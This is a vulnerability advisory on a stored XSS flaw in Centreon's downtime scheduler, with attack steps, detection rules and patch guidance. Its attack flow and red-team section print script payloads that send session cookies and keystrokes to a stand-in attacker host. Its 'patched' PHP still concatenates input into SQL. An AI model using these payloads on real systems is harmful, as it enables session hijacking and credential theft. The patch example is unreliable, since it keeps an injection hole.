CVE-2025-8459

Executive Summary

CVE-2025-8459 is a stored cross-site scripting (XSS) vulnerability in Centreon’s Infra Monitoring module, specifically within the “Monitoring recurrent downtime scheduler” component. An authenticated attacker with low privileges can inject malicious scripts into the downtime scheduler interface. When a privileged user (e.g., an administrator) views the scheduled downtime, the script executes in their browser session, potentially leading to session hijacking, credential theft, or lateral movement within the Centreon environment. The vulnerability affects multiple versions of Centreon Infra Monitoring, and no public exploit code or proof-of-concept has been released as of this report. The CVSS score is 7.7 (High), reflecting the low attack complexity and the potential for significant impact on confidentiality and integrity.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
• Base Score: 7.7 (High)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – an attacker needs a valid Centreon account with minimal privileges.
• User Interaction (UI): Required – the victim must view the malicious downtime entry.
• Scope (S): Changed – the impact extends beyond the vulnerable component.
• Confidentiality (C): High – an attacker can steal session tokens, credentials, or sensitive data.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no direct impact on availability.

Threat Level: High. The vulnerability is easy to exploit once authenticated, and the stored XSS nature means it can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability resides in the “Monitoring recurrent downtime scheduler” module of Centreon Infra Monitoring. This module allows operators to schedule recurring downtimes for monitored hosts and services. The input fields for downtime descriptions, comments, or other user-controlled parameters are not properly sanitized before being stored in the database and later rendered in the web interface.

When an attacker with a low-privileged account creates a new downtime entry, they can inject malicious JavaScript into the description or comment fields. The application stores this payload without neutralization. When an administrator or another user views the downtime schedule (e.g., via the “Downtime” or “Recurrent Downtime” pages), the injected script executes in the context of the victim’s browser session.

The attack flow:

1. Attacker logs into Centreon with a low-privileged account.
2. Attacker navigates to the “Recurrent Downtime” scheduler and creates a new entry.
3. In the “Description” or “Comment” field, the attacker injects a payload like <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
4. The payload is stored in the database.
5. A privileged user (e.g., admin) views the downtime schedule.
6. The victim’s browser executes the script, sending the session cookie to the attacker’s server.
7. The attacker can then hijack the admin session and perform actions with elevated privileges.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In downtime creation handler
$description = $_POST['description'];
// No sanitization before database insert
$db->query("INSERT INTO downtimes (description) VALUES ('$description')");

Patched Code (Conceptual):

// In downtime creation handler
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
// Or use a dedicated sanitization library
$description = sanitize_input($description);
$db->query("INSERT INTO downtimes (description) VALUES ('$description')");

The patched version ensures that all user-supplied input is properly encoded before storage and rendering, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A low-privileged Centreon account (e.g., “operator” role).
• Access to the Centreon web interface.
• A listener on an attacker-controlled server to capture exfiltrated data.

Steps:

1. Log in to Centreon with the low-privileged account.
2. Navigate to Configuration > Downtimes > Recurrent Downtimes.
3. Click Add to create a new downtime entry.
4. In the Description field, inject the following payload:

   <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
   

5. Set the downtime schedule (e.g., daily at 00:00) and save.
6. Wait for an administrator to view the downtime list, or trigger the view by navigating to the same page.
7. On the attacker server, capture the incoming request containing the victim’s session cookie.

Alternative Payload (for keylogging or form hijacking):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?k='+e.key);
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor Centreon logs for unusual downtime creation events, especially from low-privileged accounts.
• Look for HTTP requests to external domains originating from Centreon web interface pages.
• Use web application firewalls (WAF) to block common XSS patterns in downtime description fields.

Hardening:

• Apply the vendor patch immediately (upgrade to 23.10.28, 24.04.18, or 24.10.13).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict input validation and output encoding for all user-supplied data.
• Restrict the ability to create downtime entries to trusted administrators only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests to unknown or suspicious domains from the Centreon server.
  • Requests containing document.cookie or localStorage in the URL parameters.
• Host IOCs:
  • Unusual entries in the Centreon database downtimes table with script tags in the description or comment columns.
  • Web server logs showing GET requests to /centreon/downtime.php or similar with encoded JavaScript in query parameters.
• File IOCs:
  • Modified Centreon PHP files (if attacker gains code execution) – check file integrity using checksums.

Detection Engineering

YARA Rule

rule CVE_2025_8459_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Centreon downtime descriptions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8459"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Centreon Stored XSS in Downtime Scheduler
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential stored XSS attempts in Centreon downtime creation
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: centreon
detection:
    selection:
        http.method: POST
        http.url: '/centreon/downtime.php*'
        http.body|contains: 
            - '<script'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8459 Centreon Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/centreon/downtime.php"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Centreon Infra Monitoring to the patched versions:
   • 23.10.28 (for 23.10.x)
   • 24.04.18 (for 24.04.x)
   • 24.10.13 (for 24.10.x)
2. If immediate patching is not possible, restrict access to the downtime scheduler module to only trusted administrators.
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in downtime description fields.

Long-Term Measures:

• Enforce strict Content Security Policy (CSP) headers.
• Conduct regular security audits of Centreon custom modules.
• Train administrators on the risks of stored XSS and safe browsing practices.
• Monitor Centreon logs for anomalous activity.

Workaround (if patching is delayed):

• Disable the “Recurrent Downtime” module temporarily via Centreon’s module management.
• Use network segmentation to limit access to the Centreon web interface.

Valters IT